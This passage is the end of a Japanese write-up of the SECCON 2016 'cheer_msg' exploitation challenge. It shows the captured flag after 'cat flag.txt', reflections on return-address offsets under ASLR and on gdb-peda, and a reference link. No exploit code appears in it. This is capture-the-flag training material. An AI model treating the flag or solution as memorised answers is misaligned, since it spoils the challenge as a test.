exploit.py~
flag.txt
peda-session-cheer_msg.txt
$ cat flag.txt
SECCON{N40.T_15_ju571c3}
成功ですね。flagは"SECCON{N40.T_15_ju571c3}"です。某大先輩様は正義、とのことです。はい。
3. 終わりに
疑問点としては、リターンアドレスの格納位置を調べそれを元に数字の入力値を算出する際に、基本的にASLRが無効になっているgdb上での算出値が、ASLRが有効な環境でも意図した役割を果たしてくれている点が挙げられますね…
あと地味に気になっているのは実際この問題が出題された大会開催中のサーバーだとgdb-pedaは使えたんでしょうか?なければかなり厳しいなあと感じました。
また、作問者様のページによるとこの問題は「本来出す予定のなかった簡単な問題」だったそうなので、これに非常に苦労した自分は現在大変凹んでおります。(苦労した原因は自分のしょうもない凡ミスなんですけどね…)
誤り等があったらご指摘頂けると幸いです。長文失礼致しました。
4. 参考サイト様
・SECCON 2016 Online Exploit作問 1/2 (cheer_msg, checker, shopping) - ShiftCrops つれづれなる備忘録